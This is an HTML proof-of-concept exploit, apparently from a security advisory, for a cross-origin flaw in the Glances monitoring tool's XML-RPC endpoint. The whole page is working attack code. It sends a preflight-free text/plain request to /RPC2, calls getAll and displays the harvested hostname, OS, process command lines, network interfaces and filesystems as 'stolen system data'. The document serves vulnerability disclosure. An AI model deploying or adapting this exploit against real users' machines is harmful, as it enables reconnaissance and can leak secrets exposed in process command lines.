Details
poc_cors_xmlrpc.html
<!DOCTYPE html>
<html>
<head><title>Glances XML-RPC CORS PoC</title></head>
<body>
<h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2>
<p>Target: <input id="target" value="http://127.0.0.1:61209" size="40"></p>
<button onclick="exploit()">Steal System Data</button>
<pre id="output" style="background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;"></pre>
<script>
async function exploit() {
const target = document.getElementById("target").value;
const out = document.getElementById("output");
out.textContent = "[*] Sending cross-origin XML-RPC request to " + target + "/RPC2\n";
out.textContent += "[*] Content-Type: text/plain (CORS simple request, no preflight)\n\n";
try {
const resp = await fetch(target + "/RPC2", {
method: "POST",
headers: {"Content-Type": "text/plain"},
body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
});
out.textContent += "[+] Response status: " + resp.status + "\n";
out.textContent += "[+] CORS header: " + resp.headers.get("Access-Control-Allow-Origin") + "\n\n";
const xml = await resp.text();
const match = xml.match(/<string>([\s\S]*?)<\/string>/);
if (match) {
const data = JSON.parse(match[1].replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&"));
out.textContent += "[+] === STOLEN SYSTEM DATA ===\n\n";
out.textContent += "Hostname: " + (data.system?.hostname || "N/A") + "\n";
out.textContent += "OS: " + (data.system?.os_name || "N/A") + " " + (data.system?.os_version || "") + "\n";
out.textContent += "CPU cores: " + (data.cpu?.cpucore || "N/A") + "\n";
out.textContent += "CPU usage: " + (data.cpu?.user || "N/A") + "% user\n";
out.textContent += "Memory: " + Math.round((data.mem?.used||0)/1024/1024) + "MB / " + Math.round((data.mem?.total||0)/1024/1024) + "MB\n";
out.textContent += "Processes: " + (data.processlist?.length || 0) + "\n\n";
if (data.processlist?.length > 0) {
out.textContent += "[+] Top 10 processes (with full command lines):\n";
data.processlist.slice(0, 10).forEach(p => {
const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(" ") : (p.cmdline || "");
out.textContent += " PID " + p.pid + " | " + p.name + " | " + cmd.substring(0,120) + "\n";
});
}
if (data.network?.length > 0) {
out.textContent += "\n[+] Network interfaces:\n";
data.network.forEach(n => {
out.textContent += " " + n.interface_name + " | RX: " + n.bytes_recv + " TX: " + n.bytes_sent + "\n";
});
}
if (data.fs?.length > 0) {
out.textContent += "\n[+] Filesystems:\n";
data.fs.forEach(f => {
out.textContent += " " + f.mnt_point + " | " + f.device_name + " | " + f.percent + "% used\n";
});
}
}
} catch(e) {
out.textContent += "[-] Error: " + e.message + "\n";
}
}
</script>
</body>
</html>